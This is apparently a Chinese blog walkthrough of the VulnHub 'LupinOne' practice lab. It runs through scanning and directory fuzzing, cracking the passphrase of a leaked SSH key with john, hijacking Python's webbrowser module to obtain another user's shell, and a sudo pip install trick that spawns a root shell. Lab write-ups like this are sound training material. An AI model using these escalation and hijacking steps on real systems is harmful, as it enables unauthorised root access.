vulnhub靶场8:LupinOne

本文详细描述了一次网络安全渗透测试的过程,包括使用nmap进行网络扫描,gobuster和wfuzz进行目录枚举,发现并访问隐藏目录,解码私钥,利用ssh和john爆破密码,切换用户并提权至root权限。整个过程展示了网络安全攻防的技术手段。
摘要由CSDN通过智能技术生成

1、nmap -sn 192.168.52.0/24

2、nmap -p- -A 192.168.52.113

3、访问80

 4、gobuster目录扫描

gobuster dir -u http://192.168.52.113 -w /usr/share/wordlists/dirb/big.txt -x .php,.html,.zip,.html

发现robots.txt

5、访问robots.txt,提示存在“~myfiles”,访问该目录。提示继续。

6、继续目录扫描使用wfuzz

wfuzz -c -u "http://192.168.8.113/~FUZZ" -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404

发现secret目录,访问,给出了在当前目录下有个隐藏文件,并且用户名为icex64,爆破字典fasttrack.

 7、继续扫描

ffuf -u http://192.168.52.113/~secret/.FUZZ -w /usr/share/dirbuster/wordlist/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,.html -mc 200 -s

扫描到mysecret.txt,访问http://192.168.52.113/~secret/.mysecret.txt

 8、base58解码,得到私钥。保存到pri.txt 使用ssh icex64@192.168.52.113 -i pri.txt 登录,提示输入口令。使用john爆破口令。

9、ssh2john pri.txt >hash.txt 使用ssh2john将私钥转化成john能识别的格式,pri.txt权限需改成600.

10、 john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt得到口令

11、ssh ssh icex64@192.168.52.113 -i pri.txt 输入口令,登录,这一步,需要将pri.txt权限改成600.

12、cat user.txt 得到第一个key.

13、sudo -l查看

 14、查看heist.py,该文件只有只读权限

 15、find / -name "webbrowser*" 2>/dev/null 查看webbrowser。并查看文件权限,拥有读写权限

 16、在webbrowser.py中open函数加入 os.system("/bin/bash")切换到 arsene的shell。

17、sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py切换用户shell

18、sudo -l 查看可以执行的命令,发现可以执行pip

19、pip提权

    TF=$(mktemp -d)

    echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

    sudo pip install $TF

20、拿到root权限。

------------------------------------------------------------------------------------------

总结:

1、gobuster dir -u http://192.168.52.113 -w /usr/share/wordlists/dirb/big.txt -x .php,.html,.zip,.html

2、wfuzz -c -u "http://192.168.8.113/~FUZZ" -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404

3、ffuf -u http://192.168.52.113/~secret/.FUZZ -w /usr/share/dirbuster/wordlist/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,.html -mc 200 -s  可以指定多个后缀

4、ssh2john pri.txt >hash.txt 使用ssh2john将私钥转化成john可以识别的格式,并使用 john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt破解口令

5、在webbrowser.py中open函数加入 os.system("/bin/bash")切换到 arsene的shell。

6、pip提权

    TF=$(mktemp -d)

    echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

    sudo pip install $TF

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值